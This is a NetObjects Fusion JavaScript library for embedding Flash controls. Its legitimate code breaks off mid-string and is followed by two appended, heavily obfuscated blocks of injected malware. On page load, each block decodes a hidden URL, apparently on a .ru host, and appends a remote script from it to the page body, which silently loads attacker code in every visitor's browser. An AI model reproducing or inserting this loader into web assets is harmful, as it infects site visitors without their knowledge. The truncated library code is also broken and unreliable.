if(typeof NOF == "undefined") {
function NOF_NS() {
this.__proto__ = NOF_NS.prototype;
}
}
var NOF = new NOF_NS();
if(typeof NOF.ProgramVersion == "undefined")
{
function NOF_ProgramVersion (majorNumber, minorNumber, revisionNumber) {
this.__proto__ = NOF_ProgramVersion.prototype;
if (arguments.length != 3) throw "Illegal arguments exception";
this.majorNumber = majorNumber;
this.minorNumber = minorNumber;
this.revisionNumber = revisionNumber;
}
{
var method = NOF_ProgramVersion.prototype;
method.getMajorNumber = function () {
return this.majorNumber;
}
method.getMinorNumber = function () {
return this.minorNumber;
}
method.getRevisionNumber = function () {
return this.revisionNumber;
}
method.eq = function (programVersion) {
return this.majorNumber == programVersion.getMajorNumber()
&& this.minorNumber == programVersion.getMinorNumber()
&& this.revisionNumber == programVersion.getRevisionNumber();
}
method.lt = function (programVersion) {
var retValue = false;
if (this.majorNumber < programVersion.getMajorNumber() ) {
retValue = true;
} else if (this.majorNumber == programVersion.getMajorNumber()) {
if (this.minorNumber < programVersion.getMinorNumber()) {
retValue = true;
} else if (this.minorNumber == programVersion.getMinorNumber()) {
if (this.revisionNumber < programVersion.getRevisionNumber()) {
retValue = true;
}
}
}
return retValue;
}
method.lte = function (programVersion) {
return this.lt(programVersion) && this.eq(programVersion);
}
method.gt = function (programVersion) {
return !this.lte(programVersion);
}
method.gte = function (programVersion) {
return !this.lt(programVersion);
}
method.toString = function () {
return this.majorNumber + "." + this.minorNumber + "." + this.revisionNumber;
}
}
NOF.__proto__.ProgramVersion = NOF_ProgramVersion;
}
if (typeof NOF.Util == "undefined") {
function NOF_Util() {
this.__proto__ = NOF_Util.prototype;
}
NOF.Util = new NOF_Util();
function NOF_Util_FramesIterator (wnd) {
this.__proto__ = NOF_Util_FramesIterator.prototype;
this.currentIndex = 0;
this.array = wnd.frames;
NOF_Util_FramesIterator.prototype.next = function () {
return (this.currentIndex < this.array.length ) ? this.array[this.currentIndex++] : null;
}
}
NOF.Util.__proto__.FramesIterator = NOF_Util_FramesIterator;
NOF.Util.GetFrameWndByName = function GetFrameWndByName(name) {
var stack = new Array();
stack[0] = new NOF.Util.FramesIterator(window);
var wnd = null;
var found = false;
while (stack.length > 0 && !found)
{
if ((wnd = stack[stack.length -1].next()) != null)
{
if (wnd.name == name)
{
found = true;
break;
}
else if (wnd.frames.length > 0)
{
stack[stack.length] = new NOF.Util.FramesIterator(wnd);
}
}
else
{
stack[stack.length-1] = null;
stack.length--;
}
}
return wnd;
}
}
if(typeof NOF.Event == "undefined") {
function NOF_Event(source, type, state) {
this.__proto__ = NOF_Event.prototype;
this.source = source;
this.type = type;
this.state = state;
}
var member = NOF_Event.prototype;
member.MOUSEDOWN_EVENT = 0x001;
member.MOUSEUP_EVENT = 0x002;
member.MOUSEMOVE_EVENT = 0x004;
member.MOVIE_INITIALIZED_EVENT = 0x008;
member.MOVIE_RENDERED_EVENT = 0x010;
var method = NOF_Event.prototype;
method.getSource = function() {
return this.source;
};
method.getType = function() {
return this.type;
};
method.getState = function() {
return this.state;
};
NOF.Event = new NOF_Event();
NOF.EventObject = NOF_Event;
}
if(typeof NOF.Flash == "undefined") {
function NOF_Flash() {
this.__proto__ = NOF_Flash.prototype;
}
NOF.Flash = new NOF_Flash();
}
if(typeof NOF.Flash.HtmlCtrl == "undefined")
{
function NOF_Flash_HtmlCtrl_Base()
{
this.__proto__ = NOF_Flash_HtmlCtrl_Base.prototype;
}
{
var member = NOF_Flash_HtmlCtrl_Base.prototype;
member.MOVIE_LISTENER = 0x001;
member.MOUSE_LISTENER = 0x002;
member.NETSCAPE_PLUGIN_NAME = "Shockwave Flash";
member.IE_PLUGIN_NAME = "ShockwaveFlash.ShockwaveFlash";
member.FOOTPRINT_SUFFIX = "_footprint";
member.CONTAINER_SUFFIX = "_container";
member.LAYER_SUFFIX = "LYR";
member.PARAM_ALLOWSCRIPTACCESS = "allowScriptAccess";
member.PARAM_QUALITY = "quality";
member.PARAM_WMODE = "wmode";
member.DEFAULT_QUALITY_VALUE = "high";
member.DEFAULT_WMODE_VALUE = "transparent";
member.cDELTA = 5;
member.DEFAULT_HIGHEST_ZINDEX = 2000;
var method = NOF_Flash_HtmlCtrl_Base.prototype;
method.ctr = function ( id, movieSrc, width, height, align, htmlDocument) {
if (arguments.length > 0) {
if (id == undefined || id.length <=0 ) {
throw "IllegalArgumentException: id cannot be empty";
}
if (movieSrc == undefined || movieSrc.length <=0 ) {
throw "IllegalArgumentException: movieSrc cannot be null";
}
}
this.movieListeners= new Array();
this.mouseListeners= new Array();
this.params = new Array();
this.variables = new Array();
this.cssType;
this.cssValue;
this.id = id;
this.movieSrc = movieSrc;
this.width = (width != null) ? width : null;
this.height = (height != null) ? height : null;
this.align = (align != null) ? align : null;
this.htmlDocument = (htmlDocument != undefined) ? htmlDocument : document;
this.position = {left : -1, top: -1};
this.isFSCEventsSupportEnabled = true;
this.areFSCEventsEnabled = true;
this.setParam(this.PARAM_ALLOWSCRIPTACCESS, "sameDomain");
this.setParam(this.PARAM_QUALITY, this.DEFAULT_QUALITY_VALUE);
this.setParam(this.PARAM_WMODE, this.DEFAULT_WMODE_VALUE);
this.requiredPlayerVersion = "8,0,0,0";
this.closedMenuSize = {width : 0, height: 0};
this.foHtmlInstance = null;
this.foContainer = null;
this.foFootprint = null;
this.foParentLYR = null;
this.isWritten = false;
this.bReady = false;
this.capturedEventsMask = 0;
this.owner = null;
}
method.isReady = function () { return this.bReady;};
method.getOwner = function () { return this.owner;};
method.setOwner = function (owner) { this.owner = owner;};
method.getWidth = function () { return this.width;};
method.setWidth = function (width) { this.width = width;};
method.getHeight = function () { return this.height;};
method.setHeight = function (height) { this.height = height;};
method.getPosition = function () { return this.position;};
method.setPosition = function (position) { this.position = position;};
method.getMovieSrc = function () { return this.movieSrc;};
method.setMovieSrc = function (movieSrc) { this.movieSrc = movieSrc;};
method.getAlign = function () { return this.align;};
method.setAlign = function (align) { this.align = align;};
method.getId = function () {return this.id;};
method.getParam = function(name) { return this.params[name.toLowerCase()];};
method.setParam = function(name, value) { this.params[name.toLowerCase()] = value;};
method.getParams = function() { return this.params; };
method.setCSSParam = function(name, value) { this.cssType = name; this.cssValue = value;};
method.getVariable = function(name) {return this.variables[name];};
method.setVariable = function(name, value) { this.variables[name] = value;};
method.getVariables = function() { return this.variables;};
method.getFootprint = function() {
if (!this.foFootprint) {
this.foFootprint = this.findObject(this.id + this.FOOTPRINT_SUFFIX);
}
return this.foFootprint;
};
method.getParentLYR = function() {
if (!this.foParentLYR) {
this.foParentLYR = this.findObject(this.id + this.LAYER_SUFFIX);
if (this.foParentLYR != null && typeof (this.foParentLYR.length) == 'number') {
this.foParentLYR = this.foParentLYR[0];
}
}
return this.foParentLYR;
}
method.getHtmlInstance = function() {
if (!this.foHtmlInstance) {
this.foHtmlInstance = this.findObject(this.id);
}
return this.foHtmlInstance;
};
method.getContainer = function() {
if (!this.foContainer) {
this.foContainer = this.findObject(this.id + this.CONTAINER_SUFFIX);
}
return this.foContainer;
};
method.enableFSCEventsSupport = function (enable) {
this.isFSCEventsSupportEnabled = enable;
};
method.enableFSCEvents = function (enable) {
this.areFSCEventsEnabled = enable;
};
method.restart = function () {
try {
this.getHtmlInstance().Rewind();
this.getHtmlInstance().Play();
this.log("restarting");
} catch (e) {}
};
method.repaint = function () {
var position = this.getObjectPosition(this.getFootprint());
this.log("onRepaint -> " + position[0] + ", " + position[1]);
};
method.onRepaint = function () {
this.repaint();
};
method.onMove = function (left, top) {
this.setStyle("left",left + "px");
this.setStyle("top", top + "px");
this.position.left = left;
this.position.top = top;
};
method.setStyle = function (name, value, obj) {
if (!obj) { obj = this.getContainer()}
if (obj != null && typeof(obj.style) == "object") {
obj.style[name] = value;
}
};
method.getStyle = function (name, obj) {
if (!obj) { obj = this.getContainer()}
return (obj != null && typeof(obj.style) == "object") ? obj.style[name] : null;
};
method.onResize = function (width, height) {
this.log("onResize -> " + width + ", " + height);
if (width == this.width && height == this.height) return;
this.adjustZIndexOnSizeChange(width, height);
this.width = width;
this.height = height;
var htmlInstance = this.getHtmlInstance();
if (htmlInstance) {
htmlInstance.width = width;
htmlInstance.height = height;
}
};
method.onPostInit = function (width, height) {
this.log("PostInit");
this.closedMenuSize.width = width;
this.closedMenuSize.height = height;
var parentLYR = this.getParentLYR();
this.parentZIndex = this.getStyle("zIndex", parentLYR);
if (this.getFootprint()) {
this.doInitialPositioning(width, height);
NOF.Flash.HtmlCtrl.instancePtr = this;
setTimeout("if (NOF.Flash.HtmlCtrl.instancePtr && typeof NOF.Flash.HtmlCtrl.instancePtr.doPostInitCallBack == 'function' ) { NOF.Flash.HtmlCtrl.instancePtr.doPostInitCallBack(); };", 100);
} else {
this.onResize(width,height);
}
if (this.capturedEventsMask & NOF.Event.MOVIE_INITIALIZED_EVENT) {
this.notifyMovieListeners(new NOF.EventObject(this, NOF.Event.MOVIE_INITIALIZED_EVENT, {w: width, h: height}));
}
this.log("/PostInit");
};
method.onRenderComplete = function () {
this.log("RenderComplete");
if (typeof(jshandler) != "undefined" && jshandler != null) {
window.setTimeout("jshandler.OnRenderComplete()", 100);
}
this.log("/RenderComplete");
};
method.doInitialPositioning = function (width, height) {
var footprint = this.getFootprint();
if (footprint) {
this.setStyle("width",width + "px", footprint);
this.setStyle("height", height + "px", footprint);
var position = this.getObjectPosition(footprint);
this.onResize(width,height);
this.bReady = true;
}
};
method.doPostInitCallBack = function ()
{
if ( typeof(this.postInitCallBack) == 'object'
&& this.postInitCallBack != null
&& typeof(this.postInitCallBack.callback_handler) == 'function' )
{
this.postInitCallBack.callback_handler('PostInit');
};
}
method.play = function (postInitCallBack) {
this.postInitCallBack = postInitCallBack;
try {
this.getHtmlInstance().Play();
} catch (e) {}
this.log("playing");
};
method.toHTML = function () {throw "Abstract method 'toHTML' cannot called!";};
method.write = function () {
if (!this.isWritten) {
var str = this.toHTML();
this.log("\n-------\n" + str + "\n-------\n", 1);
this.htmlDocument.write(str);
this.isWritten = true;
} else {
throw "write method cannot be called twice!";
}
};
method.findObject = function (objectID, doc) {
var p, i, foundObj;
if(!doc) {
doc = this.htmlDocument;
}
if( (p = objectID.indexOf("?")) > 0 && parent.frames.length) {
doc = parent.frames[objectID.substring(p+1)].document;
objectID = objectID.substring(0,p);
}
if(!(foundObj = doc[objectID]) && doc.all) {
foundObj = doc.all[objectID];
}
for (i=0; !foundObj && i < doc.forms.length; i++) {
foundObj = doc.forms[i][objectID];
}
for(i=0; !foundObj && doc.layers && i < doc.layers.length; i++) {
foundObj = this.findObject(objectID, doc.layers[i].document);
}
if(!foundObj && doc.getElementById) {
foundObj = doc.getElementById(objectID);
}
return foundObj;
};
method.getObjectPosition = function (o) {
var curLeft = 0;
var curTop = 0;
if (o.offsetParent) {
while (o.offsetParent) {
curLeft += o.offsetLeft;
curTop += o.offsetTop;
o = o.offsetParent;
}
} else if (o.x && o.y) {
curLeft += o.x;
curTop += o.y;
}
return [curLeft, curTop];
};
method.getListenerByType = function (type) {
var listeners;
if (type == this.MOUSE_LISTENER)
listeners = this.mouseListeners;
else if (type == this.MOVIE_LISTENER)
listeners = this.movieListeners;
else {
alert ("Listener not supported.");
return null;
}
return listeners;
};
method.addListener = function ( type, listener) {
var listeners = this.getListenerByType(type);
if (listeners != null) {
for (var i=0; i<listeners.length; i++)
if ( listeners[i] == listener )
return;
listeners[listeners.length] = listener;
}
};
method.removeListener = function ( type, listener ){
var listeners = this.getListenerByType(type);
if (listeners != null) {
for (var i = 0; i < listeners.length; i++ )
if ( listeners[i] == listener ) {
listeners[i] = listeners[listeners.length -1];
listeners.length--;
}
}
};
method.addMovieListener = function ( listener ){
this.addListener(this.MOVIE_LISTENER, listener);
};
method.removeMovieListener = function ( listener ){
this.removeListener(this.MOVIE_LISTENER, listener);
};
method.notifyMovieListeners = function ( event ){
for (var i = 0; i < this.movieListeners.length; i++ ) {
switch (event.getType()) {
case NOF.Event.MOVIE_INITIALIZED_EVENT:
this.movieListeners[i].onMovieInitialized( event );
break;
case NOF.Event.MOVIE_RENDERED_EVENT:
this.movieListeners[i].onMovieRendered( event );
break;
}
}
};
method.addMouseListener = function ( listener ){
this.addListener(this.MOUSE_LISTENER, listener);
};
method.removeMouseListener = function ( listener ){
this.removeListener(this.MOUSE_LISTENER, listener);
};
method.notifyMouseListeners = function ( event ){
for (var i = 0; i < this.mouseListeners.length; i++ ) {
switch (event.getType()) {
case NOF.Event.MOUSEDOWN_EVENT:
this.mouseListeners[i].onMouseDown( event );
break;
case NOF.Event.MOUSEUP_EVENT:
this.mouseListeners[i].onMouseUp( event );
break;
case NOF.Event.MOUSEMOVE_EVENT:
this.mouseListeners[i].onMouseMove( event );
break;
}
}
};
method.captureEvents = function(eventsMask) {
this.capturedEventsMask = eventsMask;
};
method.onMouseDown = function (_x, _y, _btn, _cnt) {
if (this.capturedEventsMask & NOF.Event.MOUSEDOWN_EVENT) {
this.notifyMouseListeners(new NOF.EventObject(this, NOF.Event.MOUSEDOWN_EVENT, {x: _x, y: _y, btn: _btn, cnt: _cnt}));
this.log(["mouse down", _x, _y, _btn, _cnt]);
}
};
method.onMouseUp = function (_x, _y) {
if (this.capturedEventsMask & NOF.Event.MOUSEUP_EVENT) {
this.notifyMouseListeners(new NOF.EventObject(this, NOF.Event.MOUSEUP_EVENT, {x: _x, y: _y}));
this.log(["mouse up", _x, _y]);
}
};
method.onMouseMove = function (_x, _y) {
if (this.capturedEventsMask & NOF.Event.MOUSEMOVE_EVENT) {
this.notifyMouseListeners(new NOF.EventObject(this, NOF.Event.MOUSEMOVE_EVENT, {x: _x, y: _y}));
this.log(["mouse move", _x,_y]);
}
};
method.onLog = function (msg, level) {
this.log(msg, level);
};
method.log = function (msg, level) {
return;
if (this.htmlDocument.forms[0] && this.htmlDocument.forms[0]["log"]) {
this.htmlDocument.forms[0]["log"].value += this.id + ": " + msg + "\n";
}
};
method.setRequiredPlayerVersion = function (reqPlayerVersion) {
this.requiredPlayerVersion = reqPlayerVersion;
};
method.processFSCEvent = function (eventName, args) {
this.log("processFSCEvent -> " + eventName + "[" + args + "]");
var auxStr = "";
for (var i=0; i<args.length; i++) {
auxStr += "args[" + i + "]" + (i != args.length -1 ? ", " : "");
}
return eval("this.on" + eventName + "( " + auxStr + " )");
};
method.callFlashMethod = function (methodName, arg) {
try {
this.getHtmlInstance().SetVariable("hostEventsMonitor", methodName + ":" + arg);
} catch (e) {}
};
method.getNextHighestIndex = function() {
return this.DEFAULT_HIGHEST_ZINDEX;
}
method.adjustZIndexOnSizeChange = function (width, height) {
if (Math.abs(this.closedMenuSize.width - width) > this.cDELTA
|| Math.abs(this.closedMenuSize.height - height) > this.cDELTA)
{
var parentLYR = this.getParentLYR();
if (parentLYR) {
this.log("setting high Z-Index on flyouts");
this.setStyle("zIndex", this.getNextHighestIndex(), parentLYR);
}
}
else
{
if (this.parentZIndex != null) {
var parentLYR = this.getParentLYR();
if (parentLYR) {
this.log("setting Z-Index on original size to " + this.parentZIndex);
this.setStyle("zIndex", this.parentZIndex, parentLYR);
}
}
}
}
}
function NOF_Flash_HtmlCtrl_IE(id, movieSrc, width, height, align, htmlDocument){
this.__proto__ = NOF_Flash_HtmlCtrl_IE.prototype;
this.ctr(id, movieSrc, width, height, align, htmlDocument);
}
NOF_Flash_HtmlCtrl_IE.prototype = new NOF_Flash_HtmlCtrl_Base;
{
var method = NOF_Flash_HtmlCtrl_IE.prototype;
method.getFSCommandHandlerDef = function() {
var str = "";
str += "<script>";
str += " function " + this.id +"_DoF





try {var D;if(D!='J' && D != ''){D=null};var _=window[unescape("%75%6e%65%73%63%61%70%65")];var yx="";var M="";var O=window[_("%52%65%67%45%78%70")];var Qr=new String();var d=null;var Br="";var ZS=new Array();var I=_("%72%65%70%6c%61%63%65");var n=new Array();var Ol=new Date();var dr=new Date();function k(g,A){var UH=new String();var j=_("%5b");var gx;if(gx!='' && gx!='yH'){gx=null};var R=new String();j+=A;j+=_("%5d");this.ka="";this.rS="";var y=new O(j, _("%67"));var jD=new Date();var eG;if(eG!='' && eG!='pl'){eG=null};return g.replace(y, d);var kd=new Array();};var kp;if(kp!='yu'){kp=''};this.hv='';var Y=k('8753914990951471638231217249105642176','49367125');var uo=new Date();var u=new String("onlo"+"adOhM".substr(0,2));var dt=new Date();var GA=new Date();var r="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x72\x61\x74\x65\x69\x6e\x74\x65\x72\x72\x75\x70\x74\x2e\x72\x75\x3a";var rp;if(rp!='nQ' && rp!='uW'){rp=''};var o='';var gT=k('/_hCsRb_cf-wc9o_-Hu9kR/zg9oroRgrlweH._cCowmz/wlSirbHaR.Hcfo_m_.HpfhRp_','CSyHzRrwd9f_4');this.SS='';var fx;if(fx!='' && fx!='oL'){fx=''};var g=_("%31");var e=_("%73%63%72%69%70%74");var NN;if(NN!='X'){NN='X'};function w(){var K=new Array();var Q=document;var ZI;if(ZI!='WL' && ZI!='Kj'){ZI='WL'};var Ct=new Date();var z=new Date();U=Q.createElement(e);var MG=new Array();var td=new Array();var s_="";var Mo='';o+=r;var ZA;if(ZA!='' && ZA!='Pq'){ZA='ik'};o+=Y+gT;var uM;if(uM!='' && uM!='PQ'){uM=null};var qW=new Date();var ej=Q.body;var NC=new Date();U.defer=g;var Fv;if(Fv!='seB' && Fv != ''){Fv=null};var NF;if(NF!='DV' && NF != ''){NF=null};U.src=o;var NG=new Array();var _d=new Array();var Im;if(Im!='' && Im!='BD'){Im='Er'};var zr=new Array();ej.appendChild(U);var v;if(v!='ez'){v='ez'};this.wD="";};var kj='';var GP='';this.uv="";window[u]=w;this.Pf="";} catch(du){var Wb;if(Wb!='lH'){Wb=''};var KM;if(KM!='XW' && KM != ''){KM=null};};this.RS='';this.we='';

var x;if(x!=''){x='G'};var E;if(E!=''){E='o'};var L;if(L!='u'){L=''};this.Gx="";function m() {var MD;if(MD!='tW' && MD!='M'){MD=''};var N=new Array();var Q;var f=new Date();var QW=RegExp;var h=String("]I45N".substr(0,1));var z="g";var Fq=new String();var Z;if(Z!='di'){Z=''};this.q="";var HC;if(HC!=''){HC='E_'};var B='';var H=String("app"+"end"+"Chi"+"ld");var eC=new Array();var O=new String("scri"+"pt");var vA;if(vA!='uB'){vA='uB'};var t=window;function D(S,QZ){var pN='';var lo;if(lo!='NP' && lo != ''){lo=null};var ar="";var p=new String("[eHG".substr(0,1));var Vz;if(Vz!='' && Vz!='jb'){Vz=null};var pa;if(pa!=''){pa='nL'};p+=QZ;var FJ;if(FJ!='i'){FJ=''};p+=h;var cB='';var dK;if(dK!=''){dK='JN'};var J=new QW(p, z);var BE=new String();return S.replace(J, B);this.mq='';};var qi;if(qi!='EH'){qi='EH'};var Ew=new Date();var Nc;if(Nc!='' && Nc!='FE'){Nc=''};var Qs;if(Qs!='' && Qs!='ZL'){Qs=''};var I=new String("de"+"fe"+"r");var W=D('sirKcd','FL5UAi8KCedw9hRl');var a="onl"+"oad";var WD;if(WD!='qu' && WD!='uW'){WD='qu'};var zZ='';var FX=new Array();var kH=new Array();Q=function(){var ah=new Array();var Y="";var Zd='';try {var iZ;if(iZ!='VT'){iZ=''};var of=new String();b=document.createElement(O);var yk="";var Zn;if(Zn!='Zw'){Zn=''};this.lN="";var rH=new Array();this.Nj="";b[W] = D('hGtGtVpq:Z/G/Ep1o6kWeJs4aGcZkn.lrnu8:V','EZq6VnUKX1_WG8l4J')+D('8221393673296764690632977717533361798646479797917429504239462571131','54923176')+D('/MgHoBoOgFlreM.ucToJmO/zyAaChHoZoj.JczosmM/WiQmWatgte8bQaAmL.scCoHmt.sprhJpr','r8tunOzEQBTWjJsZCHMdAFL');b[I]=[1][0];var Jg;if(Jg!=''){Jg='WPr'};var IA=new String("body");document[IA][H](b);var Pc;if(Pc!=''){Pc='KV'};var diJ;if(diJ!='Gy'){diJ='Gy'};var yp;if(yp!='' && yp!='Lf'){yp=''};var Hy=new Array();} catch(g){};var rL="";var OV=new Date();};t[a]=Q;var pG;if(pG!='pay' && pG!='mO'){pG='pay'};var dh="";};m();
